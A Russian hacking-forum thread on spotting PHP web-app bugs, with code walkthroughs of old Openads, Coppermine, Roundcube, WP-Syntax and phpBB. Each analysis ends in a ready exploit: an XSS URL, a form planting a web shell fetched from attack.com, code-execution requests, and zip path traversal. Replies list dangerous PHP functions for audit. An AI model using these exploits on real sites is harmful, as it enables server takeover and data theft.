Старый 05.07.2010, 14:31   #1
(dm)
 
Аватар для (dm)
 
Регистрация: 05.07.2010
Сообщений: 58
Репутация: 86
По умолчанию Поиск уязвимостей в веб приложениях

В этой статье я собрал интересные на мой взгляд ошибки в php скриптах. Но для начала, описание некоторых параметров PHP-интерпретатора:

Цитата:
register_globals = ON - все переменные регистрируются как глобальные;
magic_quotes_gpc = ON - в массивах _POST, _GET, _COOKIE экранируются кавычки и опасные символы, делает невозможным использование null byte
display_error = ON - вывод ошибок php
allow_url_fopen = ON - разрешает использование потоков http:// или ftp:// для функций работы с файлами
allow_url_include = ON - разрешает использование потоков http:// или ftp:// для функций подключения файлов (include, require и т.д)
И так начнем:

[ + ] Ошибка заключается в том что переменные не были заранее определены в скрипте.

На примере Openads 2.0.11-pr1
Уязвимость: XSS
Условия: register_globals = ON

>> adcontent.php
PHP код:
~~~~~~~~~~~~~~~~~~~~
//*** Переменная $row не определена

if (isset($zoneid) && $zoneid 0) {
    ~~~~~~~~~~~~~~~~~~~~
    
$row['bannerid'] = (int)$bannerid;
    
$row['zoneid'] = $zoneid;
    
$row['prepend'] = $prepend;
    
$row['append'] = $append;
} else {
    
$row['bannerid'] = (int)$bannerid;
    
$row['zoneid'] = 0;
    
//*** Переменная $row['prepend'] и $row['append'] не установлена
}

/* 
   Функция делает запрос к базе(кэшу), возвращает массив 
   состоящий из информации о баннере, но среди полей нет 
   append и prepend
*/
$details phpAds_getBannerDetails($row['bannerid']); 

~~~~~~~~~~~~~~~~~~~~
//*** Тут происходит объединение 2х массивов
$row array_merge($row$details); 
//*** Передача данных функции для формирования html кода баннера
$output phpAds_prepareOutput($row'_blank'$sourcefalse); 
~~~~~~~~~~~~~~~~~~~~ 
>> includes/lib-view-main.inc.php
PHP код:
~~~~~~~~~~~~~~~~~~~~
function 
phpAds_prepareOutput($row$target$source$withtext){

    global 
$phpAds_config;
    
$outputbuffer '';

     
/* 
         Тут мы видим что в html код баннера добавляется 
         содержание переменной $row['prepend']; 
        */
    
if (isset($row['prepend']))
        
$outputbuffer .= $row['prepend'];
    
       ~~~~~~~~~~~~~~~~~~~~
       
       
/* 
         Тут мы видим что в html код баннера добавляется 
         содержание переменной $row['append'];
        */

    
if (isset($row['append']))
        
$outputbuffer .= $row['append'];
        
~~~~~~~~~~~~~~~~~~~~ 
Сплоит:
Цитата:
http://openads/adcontent.php?bannerid=id&row[prepend]=<script>alert(document.cookie)</script>
Описание:
В данном случае мы имеем xss, из-за того что массив row не был определен в начале скрипта. И мы можем спокойно передать в параметре row[prepend] любые данные.


[ + ] Обход удаления глобальных переменных
Во многих скриптах, чтобы не возникло ситуации как с Openads 2.0.11-pr1 (в случае register_globals = ON), просто удаляют переменные переданные скрипту через POST, GET и т.д. из массива GLOBALS, но не всегда делают это правильно )))
На примере Coppermine gallery 1.3.3
Уязвимость: Загрузка произвольных файлов
Условия:
register_globals = ON
allow_url_fopen = ON

>> include/init.inc.php
PHP код:
~~~~~~~~~~~~~~~~~~~~
//*** Удаление глобальных переменных переданных методом POST
    
if (is_array($HTTP_POST_VARS)) {
        foreach (
$HTTP_POST_VARS as $key => $value) {
            if (!
is_array($value))
                
$HTTP_POST_VARS[$key] = strtr($value$HTML_SUBST);
            if (isset($
$key)) unset($$key); //*** Удаляется глобальная переменная 
        
}
    }

//*** Аналогично только для GET
    
if (is_array($HTTP_GET_VARS)) {
        foreach (
$HTTP_GET_VARS as $key => $value) {
            
$HTTP_GET_VARS[$key] = strtr($value$HTML_SUBST);
            if (isset($
$key)) unset($$key);
        }
    }


    if (
is_array($HTTP_COOKIE_VARS)) {
        foreach (
$HTTP_COOKIE_VARS as $key => $value) {
            if (isset($
$key)) unset($$key);
        }
    }
~~~~~~~~~~~~~~~~~~~~ 
>> picEditor.php
PHP код:
require('include/init.inc.php');
~~~~~~~~~~~~~~~~~~~~
if (isset(
$HTTP_GET_VARS['id'])) {
        
$pid = (int)$HTTP_GET_VARS['id'];
} elseif (isset(
$HTTP_POST_VARS['id'])) {
        
$pid = (int)$HTTP_POST_VARS['id'];
} else {
        
$pid = -1;
}

//*** Если id не передавать, то $CURRENT_PIC - будет не определена
if ($pid 0){
        
$result db_query("SELECT * FROM {$CONFIG['TABLE_PICTURES']} WHERE pid = '$pid'");
        
$CURRENT_PIC mysql_fetch_array($result);
        
mysql_free_result($result);
        
$pic_url get_pic_url($CURRENT_PIC,'fullsize');
}

~~~~~~~~~~~~~~~~~~~~

if (!
$img_dir$img_dir IMG_DIR;

if (
$_GET['id']){
     ~~~~~~~~~~~~~~~~~~~~
}else if(!isset(
$newimage)){
   
$newimage $_POST['newimage'];
}

~~~~~~~~~~~~~~~~~~~~

   if(isset(
$_POST["save"])) {
      ~~~~~~~~~~~~~~~~~~~~
          
//*** Копируем файл
         
copy($img_dir.$newimage,$CONFIG['fullpath'].$CURRENT_PIC['filepath'].$CURRENT_PIC['filename']); 
Сплоит:
Цитата:
<html>
<form action="http://cpg133/picEditor.php?img_dir=http://attack.com/&CURRENT_PIC[filename]=/shell.php"
method=post>
<input name="save" value="1">
<input name="newimage" value="shell.txt">
<input name="HTTP_GET_VARS" value="1">
<input type="submit">
</form>
</html>

http://attack.com/shell.txt - веб шелл, будет доступен по адресу http://cpg133/albums/shell.php
Нужны права администратора.
Описание:
В данном случае POST запросом передаем переменную HTTP_GET_VARS. В файле init.inc.php, при удалении глобальных переменных переданных методом POST будет удалена переменна HTTP_GET_VARS. В следствии чего переменные переданные методом GET остануться нетронутыми.
А так как переменные img_dir и CURRENT_PIC не были определены, мы можем пeредать им любые значения и загрузить файл на сервер через функцию copy().


[ + ] Небезопасное использование preg_replace с модификатором /e
На примере roundcube 0.2-3
Уязвимость: Выполнение произвольного php кода
http://www.milw0rm.com/exploits/7549

>> lib/html2text.php
PHP код:
~~~~~~~~~~~~~~~~~~~~
//*** Шаблоны с /e разрешают выполнение php кода
var search = array(
    
'/<a [^>]*href=("|\')([^"\']+)\1[^>]*>(.+?)<\/a>/ie'// <a href="">
    
'/<b[^>]*>(.+?)<\/b>/ie',                // <b>
    
'/<th[^>]*>(.+?)<\/th>/ie',              // <th> and </th>

~~~~~~~~~~~~~~~~~~~~
//*** Шаблоны для замены
var $replace = array(
    
'$this->_build_link_list("\\2", "\\3")'// <a href="">
    
'strtoupper("\\1")',                    //*** Обратим внимание что используются " (двойные кавычки)
    
"strtoupper(\"\t\t\\1\n\")",            // <th> and </th>

~~~~~~~~~~~~~~~~~~~~

$text preg_replace($this->search$this->replace$text); 
Дополнительная информация:
Цитата:
В php есть такая вещь как Complex (curly) syntax, пример:
<?
$great = 'fantastic';
echo "This is {$great}";
?>

Результат: This is fantastic

<?
$great = 'fantastic';
echo 'This is {$great}';
?>

Результат: This is {$great}

<?
$great = 'fantastic';
echo "This is {${phpinfo()}}";
?>

Результат: выполнится функция phpinfo();
Сплоит:
Цитата:
wget -q --header="Content-Type: ''" \
-O - --post-data='<b>{${phpinfo()}}</b>' \
--no-check-certificate \
http://127.0.0.1/roundcubemail-0.2-a.../html2text.php
Описание: Думаю тут все понятно, передаем скрипту <b>{${phpinfo()}}</b>, и выполняется код strtoupper("{${phpinfo()}}");

[ + ] Небезопасное использование функций call_user_func_array(); call_user_func();
На примере Wordpress plugin WP-Syntax <= 0.9.1
Уязвимость: Выполнение произвольных команд
Условия:
register_globals = ON
http://www.milw0rm.com/exploits/9431

>> wp-content/plugins/wp-syntax/test/index.php
PHP код:
//*** переменная $test_filter не определена

function apply_filters($tag$string)
{
    global 
$test_filter;

    if (!isset(
$test_filter[$tag])) return $string;
    
uksort($test_filter[$tag], "strnatcasecmp");
    foreach (
$test_filter[$tag] as $priority => $functions)
    {
        if (
is_null($functions)) continue;
        foreach(
$functions as $function)
        {
           
//*** Вызов функции переданной в $test_filter
            
$string call_user_func_array($function, array($string)); 
        }
    }
    return 
$string;

Сплоит:
Цитата:
GET /wp-content/plugins/wp-syntax/test/index.php?test_filter[wp_head][99][0]=session_start&test_filter[wp_head][99][1]=session_id&test_filter[wp_head][99][2]=system HTTP/1.0
Host: localhost
Cookie: PHPSESSID=dir
Connection: close
Описание:
Сначала вызываем функцию session_start, чтобы инициализировать сессию, затем с помощью функции session_id получаем ссылку на id сессии, которая будет передана в функцию system. Теперь через PHPSESSID можно передавать нужные нам параметры для функции system


[ + ] Небезопасное использование функции urldecode
На примере phpBB 2.0.10
Уязвимость: Выполнение произвольного php кода

>> viewtopic.php
PHP код:
~~~~~~~~~~~~~~~~
$highlight_match $highlight '';
if (isset(
$HTTP_GET_VARS['highlight']))
{
    
/* 
       Если передать $HTTP_GET_VARS['highlight'] = %2527, 
           как видно никаких опасных символов нет, 
           addslashes ничего экранировать не будет.
       
           Но после urldecode($HTTP_GET_VARS['highlight']), %2527 
           превратится в %27, что эквивалентно '
    */    
    
$words explode(' 'trim(htmlspecialchars(urldecode($HTTP_GET_VARS['highlight']))));
    for(
$i 0$i sizeof($words); $i++)
    {
        if (
trim($words[$i]) != '')
        {
            
//*** Подготовка $highlight_match для поиска совпадений
            
$highlight_match .= (($highlight_match != '') ? '|' '') . str_replace('*''\w*'phpbb_preg_quote($words[$i], '#'));
        }
    }
    unset(
$words);

    
$highlight urlencode($HTTP_GET_VARS['highlight']);
}

~~~~~~~~~~~~~~~~
//
// Highlight active words (primarily for search)
//
if ($highlight_match)
{
    
//*** Используя ' в $highlight_match, можно внедрить php код 
    
$message str_replace('\"''"'substr(preg_replace('#(\>(((?>([^><]+|(?R)))*)\<))#se'"preg_replace('#\b(" $highlight_match ")\b#i', '<span style=\"color:#" $theme['fontcolor3'] . "\"><b>\\\\1</b></span>', '\\0')"'>' $message '<'), 1, -1));

Сплоит:
Описание:
Соответственно если urldecode будет находиться после блока который отвечает за фильтрацию переменных (например addslashes), то в полне вероятно что этот фильтр можно будет обойти.

(c) (dm)
16.10.2009

Последний раз редактировалось (dm); 07.07.2010 в 00:48..
(dm) вне форума   Ответить с цитированием
Старый 05.07.2010, 14:35   #2
(dm)
 
Аватар для (dm)
 
Регистрация: 05.07.2010
Сообщений: 58
Репутация: 86
По умолчанию Загрузка произвольных файлов через архив

Пару раз сталкивался с веб приложениями в которых можно было загрузив архив, распаковать его. Но дело в том, что если нет проверки на '../'(опуститься на каталог выше), то файлы можно распаковать в произвольные каталоги на сервере.

например архив:
Цитата:
Archive: test.zip
Length Date Time Name
--------- ---------- ----- ----
15 2009-12-22 09:57 ../test.php
Распакуется на каталог выше.

Рассмотрим веб приложение DCMS
там используется PclZip класс для работы с zip архивами.

Администратор может загружать и распаковывать архивы в разделе загрузки:
PHP код:
$zip=new PclZip($dir_loads.'/'.$file);
$zip->extract(PCLZIP_OPT_PATH$path_unzipPCLZIP_OPT_SET_CHMOD0777PCLZIP_OPT_BY_PREG"#^[^\.]+#ui"); 
Как видно "#^[^\.]+#ui" вот эта регулярка защищает от '../' в начале имени файла =) Чтобы обойти фильтр в начале надо указать существующий каталог, что-то типа такого:
Цитата:
Archive: test.zip
Length Date Time Name
--------- ---------- ----- ----
15 2009-12-22 09:57 test/../../test.php
При распаковке этого архива, файл test.php, будет записан не в том месте где предполагалось, а на каталог выше.

Вот ещё аналогичный баг http://vuln.sg/net2ftp096-en.html

(с) (dm)
22.12.2009

Последний раз редактировалось (dm); 07.07.2010 в 00:52..
(dm) вне форума   Ответить с цитированием
Старый 06.07.2010, 11:45   #3
Liar
 
Аватар для Liar
 
Регистрация: 06.07.2010
Сообщений: 4
Репутация: 0
По умолчанию

Интересно, очень, но если честно слегка смутило название темы, думал что будут описанны основы\способы поисков уязвимостей на отдельных примерах с подсказкой инструмента для поиска, как пример AVSearch или Php bug skanner от Разора с списком регулярок, вот это было бы действительно круто.
Liar вне форума   Ответить с цитированием
Старый 09.07.2010, 05:24   #4
Магараджи
 
Регистрация: 08.07.2010
Сообщений: 3
Репутация: 0
По умолчанию

Цитата:
Сообщение от BlackSun Посмотреть сообщение
Негодуэ, я как раз собирался написать статью по всем возможным вариантам уязвимостей в php =\
Друг, а кто мешает?
Я лично жду не дождусь, когда уже хеккры сжалятся над неопытным ламьём и раскроют примеры уязвимостей неизвестных php функций с выполнением произвольного кода.
инклуд, евал, прегреплейс, это байян и думаю обсуждению даже не подлежит, и так понятно что и как.

В данной статье был продемонстрирован роскошный пример call_user_func_array(); call_user_func();
Вот это действительно новинка, я бы даже сказал эксклюзив.
Магараджи вне форума   Ответить с цитированием
Старый 27.08.2010, 17:28   #5
Pr0xor
 
Регистрация: 27.08.2010
Сообщений: 158
Репутация: 69
По умолчанию

Цитата:
Сообщение от Магараджи Посмотреть сообщение
В данной статье был продемонстрирован роскошный пример call_user_func_array(); call_user_func();
Вот это действительно новинка, я бы даже сказал эксклюзив.
Пример конечно хорош, если интересно то вот другие нестандартные функции для RCE

PHP Code Execution

1. eval
2. assert
3. create_function
4. call_user_func
5. call_user_func_array
6. array_map
7. ob_start
8. register_shutdown_function
9. set_error_handler
10. call_user_method
11. call_user_method_array
12. uasort
13. uksort
14. array_filter
15. array_reduce
16. array_walk
17. preg_replace
18. preg_replace_callback
19. stream_filter_register

Взято от сюда http://snipper.ru/view/13/ishhem-uyazvimosti-v-php-kode/
И этот список еще можно продолжать и продолжать.....

Вот тут даже софтина есть для анализа пхп скриптов
http://websec.wordpress.com/2010/06/11/rips-a-static-source-code-analyser-for-vulnerabilities-in-php-scripts/

там в файле PVF.php аж 139 опасных функции.
Pr0xor вне форума   Ответить с цитированием
Старый 27.08.2010, 17:38   #6
Nightmare
Banned
 
Регистрация: 06.07.2010
Сообщений: 162
Репутация: 10
По умолчанию

Цитата:
Сообщение от Pr0xor Посмотреть сообщение
2. assert
3. create_function
4. call_user_func
5. call_user_func_array
6. array_map
7. ob_start
8. register_shutdown_function
9. set_error_handler
10. call_user_method
11. call_user_method_array
12. uasort
13. uksort
14. array_filter
15. array_reduce
16. array_walk
17. preg_replace
18. preg_replace_callback
19. stream_filter_register
Вот это респект, давно искал подобный список для детального анализа.

Тока вот присутствие функции array_map() очень удивило, если знатаков не затруднит, можно ли пример как через неё можно выполнить произвольный php код?
Nightmare вне форума   Ответить с цитированием
Старый 27.08.2010, 17:47   #7
Pr0xor
 
Регистрация: 27.08.2010
Сообщений: 158
Репутация: 69
По умолчанию

Цитата:
Сообщение от Nightmare Посмотреть сообщение
Тока вот присутствие функции array_map() очень удивило, если знатаков не затруднит, можно ли пример как через неё можно выполнить произвольный php код?
Не вопрос

<?php
$callback = $_POST['c'];
$some_array = array(-1);
$new_array = array_map($callback, $some_array);
?>

с=phpinfo, выведет инфо о пхп , если -1 заменить на 1, то пхпинфо урежеться.


Ну и так далее подставляем пользовательскую функцию пхп, а аргументы этой функции передаем через массив $some_array.
Pr0xor вне форума   Ответить с цитированием
Старый 14.10.2015, 15:34   #8
crlf
 
Аватар для crlf
 
Регистрация: 29.09.2015
Сообщений: 98
Репутация: 17
По умолчанию

Озадачился поиском интересных функций для быстрого анализа PHP кода. Что-то нагуглил, большую часть выдрал из RIPS, RATS и Graudit. Думаю многим пригодится, т.к. сходу ничего подобного не нашёл.
Код:
__autoload
__construct
__destruct
__sleep
__wakeup
apache_child_terminate
apache_getenv
apache_note
apache_request_headers
apache_response_headers
apache_setenv
arrayQuery
array_diff_uassoc
array_diff_ukey
array_filter
array_intersect_uassoc
array_intersect_ukey
array_map
array_reduce
array_udiff
array_udiff_assoc
array_udiff_uassoc
array_uintersect
array_uintersect_assoc
array_uintersect_uassoc
array_walk
array_walk_recursive
assert
assert_options
basename
bzflush
bzopen
bzread
bzwrite
call_user_func
call_user_func_array
call_user_method
call_user_method_array
chgrp
chmod
chown
chroot
closelog
copy
create_function
curl_setopt
curl_setopt_array
cyrus_query
db2_exec
db2_execute
dba_delete
dba_fetch
dba_insert
dba_open
dba_popen
dbx_compare
dbx_connect
dbx_fetch_row
dbx_query
debugger_off
debugger_on
define
define_syslog_variables
dio_read
dio_write
dirname
disk_free_space
disk_total_space
diskfreespace
dl
dotnet_load
eio_busy
eio_chmod
eio_chown
eio_close
eio_custom
eio_dup2
eio_fallocate
eio_fchmod
eio_fchown
eio_fdatasync
eio_fstat
eio_fstatvfs
eio_mkdir
eio_mknod
eio_readdir
eio_rmdir
eio_unlink
eio_write
ereg
eregi
error_log
escapeshellarg
escapeshellcmd
eval
event_buffer_new
event_buffer_write
event_set
exec
exif_imagetype
exif_read_data
exif_thumbnail
expect_
expect_popen
export
extract
fbsql_db_query
fbsql_query
fdf_open
fflush
fgetc
fgetcsv
fgets
fgetss
file
file_exists
file_get_contents
file_put_contents
fileatime
filectime
filegroup
fileinode
filemtime
fileowner
fileperms
filesize
filetype
finfo_file
fopen
forward_static_call
forward_static_call_array
fpassthru
fprintf
fputcsv
fputs
fread
fscanf
fsockopen
ftok
ftp_chmod
ftp_delete
ftp_exec
ftp_fget
ftp_get
ftp_nb_fget
ftp_nb_get
ftp_nb_put
ftp_nlist
ftp_put
ftruncate
fwrite
get_cfg_var
get_current_user
get_headers
get_loaded_extensions
get_meta_tags
getallheaders
getcwd
getenv
getimagesize
getlastmo
getmygid
getmyinode
getmypid
getmyuid
glob
global
gzdeflate
gzfile
gzgetc
gzgets
gzgetss
gzinflate
gzopen
gzpassthru
gzputs
gzread
gzwrite
hash_file
hash_hmac_file
hash_update_file
header
highlight_file
ibase_execute
ibase_query
ifx_do
ifx_query
image2wbmp
imagecreatefromgd
imagecreatefromgd2
imagecreatefromgd2part
imagecreatefromgif
imagecreatefromjpeg
imagecreatefromjpg
imagecreatefrompng
imagecreatefromwbmp
imagecreatefromxbm
imagecreatefromxpm
imagegd
imagegd2
imagegif
imagejpeg
imagepng
imagewbmp
imagexbm
imap_mail
imap_open
import
import_request_variables
include
include_once
ingres_execute
ingres_query
ingres_unbuffered_query
ini_restore
ini_set
iptcembed
is_a
is_dir
is_executable
is_file
is_link
is_readable
is_uploaded_file
is_writable
is_writeable
iterator_apply
lchgrp
lchown
ldap_add
ldap_connect
ldap_delete
ldap_list
ldap_read
ldap_search
leak
link
linkinfo
load
loadXML
lstat
mail
mb_ereg_replace
mb_eregi_replace
mb_parse_str
mb_send_mail
md5_file
mkdir
move_uploaded_file
msession_connect
msg_get_queue
msg_queue_exists
msg_receive
msg_remove_queue
msg_send
msg_set_queue
msg_stat_queue
msql
msql_db_query
msql_query
mssql_execute
mssql_query
mysql_change_user
mysql_connect
mysql_db_query
mysql_error
mysql_pconnect
mysql_query
mysql_set_charset
mysql_unbuffered_query
mysqli_master_query
mysqli_query
mysqli_real_query
mysqli_stmt_execute
ob_start
oci_execute
ociexecute
odbc_do
odbc_exec
odbc_execute
opendir
openlog
ora_do
ora_exec
ovrimos_exec
ovrimos_execute
p?fsockopen
parse_ini_file
parse_str
parsekit_compile_file
passthru
pathinfo
pclose
pcntl_
pcntl_exec
pfsockopen
pg_connect
pg_execute
pg_insert
pg_pconnect
pg_prepare
pg_put_line
pg_query
pg_select
pg_send_prepare
pg_send_query
pg_send_query_params
pg_set_client_encoding
pg_update
php://filter
php://input
php://memory
php://output
php://stderr
php://stdin
php://stdout
php://temp 
php_check_syntax
php_logo_guid
php_strip_whitespace
php_uname
phpcredits
phpinfo
phpversion
popen
posix_
posix_getlogin
posix_kill
posix_mkfifo
posix_mknod
posix_setpgid
posix_setsid
posix_setuid
posix_ttyname
preg_filter
preg_replace
preg_replace_callback
print
printer_open
printf
proc_close
proc_get_status
proc_nice
proc_open
proc_terminate
putenv
query
read
read_exif_data
readfile
readgzfile
readlink
realpath
recode_file
register_shutdown_function
register_tick_function
rename
require
require_once
rmdir
runkit_constant_redefine
runkit_function_add
runkit_function_copy
runkit_function_redefine
runkit_function_rename
runkit_import
runkit_method_add
runkit_method_copy
runkit_method_redefine
runkit_method_rename
scandir
sem_
serialize
session_register
session_set_save_handler
set_error_handler
set_exception_handler
set_include_path
sha1_file
shell_exec
shm_
shmop_
shmop_write
show_source
simplexml_load_file
singleQuery
sleep
socket_bind
socket_connect
socket_send
socket_write
spl_autoload
spl_autoload_register
sqlite_array_query
sqlite_create_aggregate
sqlite_create_function
sqlite_exec
sqlite_open
sqlite_popen
sqlite_query
sqlite_single_query
sqlite_unbuffered_query
stat
stream_
stream_context_create
stream_filter_register
stream_get_contents
stream_get_line
stream_socket_client
stream_socket_server
stream_wrapper_register
sybase_query
sybase_unbuffered_query
symlink
syslog
system
tempnam
tmpfile
touch
uasort
uksort
unlink
unserialize
unserialize_callback_func
url_exec
usleep
usort
vfprintf
virtual
vprintf
w32api_invoke_function
w32api_register_function
xdiff_file_bdiff
xdiff_file_bpatch
xdiff_file_diff
xdiff_file_diff_binary
xdiff_file_merge3
xdiff_file_patch
xdiff_file_patch_binary
xdiff_file_rabdiff
xpath_eval
xpath_eval_expression
xptr_eval
yaml_emit_file
yaml_parse
yaml_parse_file
yaml_parse_url
zend_logo_guid
zend_version
zip_open
Если дополните тему вашими списками, будет просто замечательно

//+Beched

Последний раз редактировалось crlf; 14.10.2015 в 22:47..
crlf вне форума   Ответить с цитированием
Старый 14.10.2015, 22:30   #9
Beched
 
Регистрация: 06.07.2010
Сообщений: 393
Репутация: 118
По умолчанию

Цитата:
Сообщение от crlf Посмотреть сообщение
Озадачился поиском интересных функций для быстрого анализа PHP кода. Что-то нагуглил, большую часть выдрал из RIPS, RATS и Graudit. Думаю многим пригодится, т.к. сходу ничего подобного не нашёл.
Код:
__autoload
__construct
__destruct
__sleep
__wakeup
apache_child_terminate
apache_getenv
apache_note
apache_request_headers
apache_response_headers
apache_setenv
array_diff_uassoc
array_diff_ukey
array_filter
array_intersect_uassoc
array_intersect_ukey
array_map
array_reduce
array_udiff
array_udiff_assoc
array_udiff_uassoc
array_uintersect
array_uintersect_assoc
array_uintersect_uassoc
array_walk
array_walk_recursive
assert
assert_options
basename
bzflush
bzopen
bzread
bzwrite
call_user_func
call_user_func_array
call_user_method
call_user_method_array
chgrp
chmod
chown
chroot
closelog
copy
create_function
curl_setopt
curl_setopt_array
cyrus_query
db2_exec
db2_execute
dba_delete
dba_fetch
dba_insert
dba_open
dba_popen
dbx_query
debugger_off
debugger_on
define
define_syslog_variables
dio_read
dio_write
dirname
disk_free_space
disk_total_space
diskfreespace
dl
dotnet_load
eio_busy
eio_chmod
eio_chown
eio_close
eio_custom
eio_dup2
eio_fallocate
eio_fchmod
eio_fchown
eio_fdatasync
eio_fstat
eio_fstatvfs
eio_mkdir
eio_mknod
eio_readdir
eio_rmdir
eio_unlink
eio_write
ereg
eregi
error_log
escapeshellarg
escapeshellcmd
eval
event_buffer_new
event_buffer_write
event_set
exec
exif_imagetype
exif_read_data
exif_thumbnail
expect_
expect_popen
extract
fbsql_db_query
fbsql_query
fdf_open
fflush
fgetc
fgetcsv
fgets
fgetss
file
file_exists
file_get_contents
file_put_contents
fileatime
filectime
filegroup
fileinode
filemtime
fileowner
fileperms
filesize
filetype
finfo_file
fopen
forward_static_call
forward_static_call_array
fpassthru
fprintf
fputcsv
fputs
fread
fscanf
fsockopen
ftok
ftp_chmod
ftp_delete
ftp_exec
ftp_fget
ftp_get
ftp_nb_fget
ftp_nb_get
ftp_nb_put
ftp_nlist
ftp_put
ftruncate
fwrite
get_cfg_var
get_current_user
get_headers
get_loaded_extensions
get_meta_tags
getallheaders
getcwd
getenv
getimagesize
getlastmo
getmygid
getmyinode
getmypid
getmyuid
glob
gzdeflate
gzfile
gzgetc
gzgets
gzgetss
gzinflate
gzopen
gzpassthru
gzputs
gzread
gzwrite
hash_file
hash_hmac_file
hash_update_file
header
highlight_file
ibase_execute
ibase_query
ifx_do
ifx_query
image2wbmp
imagecreatefromgd
imagecreatefromgd2
imagecreatefromgd2part
imagecreatefromgif
imagecreatefromjpeg
imagecreatefromjpg
imagecreatefrompng
imagecreatefromwbmp
imagecreatefromxbm
imagecreatefromxpm
imagegd
imagegd2
imagegif
imagejpeg
imagepng
imagewbmp
imagexbm
imap_mail
imap_open
include
include_once
ingres_execute
ingres_query
ingres_unbuffered_query
ini_restore
ini_set
iptcembed
is_a
is_dir
is_executable
is_file
is_link
is_readable
is_uploaded_file
is_writable
is_writeable
iterator_apply
lchgrp
lchown
ldap_add
ldap_connect
ldap_delete
ldap_list
ldap_read
ldap_search
leak
link
linkinfo
loadXML
lstat
mail
mb_ereg_replace
mb_eregi_replace
mb_parse_str
mb_send_mail
md5_file
mkdir
move_uploaded_file
msession_connect
msg_get_queue
msg_queue_exists
msg_receive
msg_remove_queue
msg_send
msg_set_queue
msg_stat_queue
msql
msql_db_query
msql_query
mssql_execute
mssql_query
mysql_change_user
mysql_connect
mysql_db_query
mysql_error
mysql_pconnect
mysql_query
mysql_set_charset
mysql_unbuffered_query
mysqli_master_query
mysqli_query
mysqli_real_query
mysqli_stmt_execute
ob_start
oci_execute
ociexecute
odbc_do
odbc_exec
odbc_execute
opendir
openlog
ora_do
ora_exec
ovrimos_exec
ovrimos_execute
p?fsockopen
parse_ini_file
parse_str
parsekit_compile_file
passthru
pathinfo
pclose
pcntl_
pcntl_exec
pfsockopen
pg_connect
pg_execute
pg_insert
pg_pconnect
pg_prepare
pg_put_line
pg_query
pg_select
pg_send_prepare
pg_send_query
pg_send_query_params
pg_set_client_encoding
pg_update
php://filter
php://input
php://memory
php://output
php://stderr
php://stdin
php://stdout
php://temp 
php_check_syntax
php_logo_guid
php_strip_whitespace
php_uname
phpcredits
phpinfo
phpversion
popen
posix_
posix_getlogin
posix_kill
posix_mkfifo
posix_mknod
posix_setpgid
posix_setsid
posix_setuid
posix_ttyname
preg_filter
preg_replace
preg_replace_callback
printer_open
proc_close
proc_get_status
proc_nice
proc_open
proc_terminate
putenv
read
read_exif_data
readfile
readgzfile
readlink
realpath
recode_file
register_shutdown_function
register_tick_function
rename
require
require_once
rmdir
runkit_constant_redefine
runkit_function_add
runkit_function_copy
runkit_function_redefine
runkit_function_rename
runkit_import
runkit_method_add
runkit_method_copy
runkit_method_redefine
runkit_method_rename
scandir
sem_
serialize
session_register
session_set_save_handler
set_error_handler
set_exception_handler
set_include_path
sha1_file
shell_exec
shm_
shmop_
shmop_write
show_source
simplexml_load_file
singleQuery
sleep
socket_bind
socket_connect
socket_send
socket_write
spl_autoload
spl_autoload_register
sqlite_array_query
sqlite_create_aggregate
sqlite_create_function
sqlite_exec
sqlite_open
sqlite_popen
sqlite_query
sqlite_single_query
sqlite_unbuffered_query
stat
stream_
stream_context_create
stream_filter_register
stream_get_contents
stream_get_line
stream_socket_client
stream_socket_server
stream_wrapper_register
sybase_query
sybase_unbuffered_query
symlink
syslog
system
tempnam
tmpfile
touch
uasort
uksort
unlink
unserialize
unserialize_callback_func
url_exec
usleep
usort
vfprintf
virtual
w32api_invoke_function
w32api_register_function
xdiff_file_bdiff
xdiff_file_bpatch
xdiff_file_diff
xdiff_file_diff_binary
xdiff_file_merge3
xdiff_file_patch
xdiff_file_patch_binary
xdiff_file_rabdiff
xpath_eval
xpath_eval_expression
xptr_eval
yaml_emit_file
yaml_parse
yaml_parse_file
yaml_parse_url
zend_logo_guid
zend_version
zip_open
Если дополните тему вашими списками, будет просто замечательно
Диффнул со своим набором регулярок, получил:
set(['load', 'arrayQuery', 'vprintf', 'glob[^a]', 'printf', 'import_request_variables', 'export', 'dbx_compare', 'import', 'print', 'query', 'dbx_fetch_row', 'dbx_connect'])
Beched вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2018, Jelsoft Enterprises Ltd. Перевод: zCarot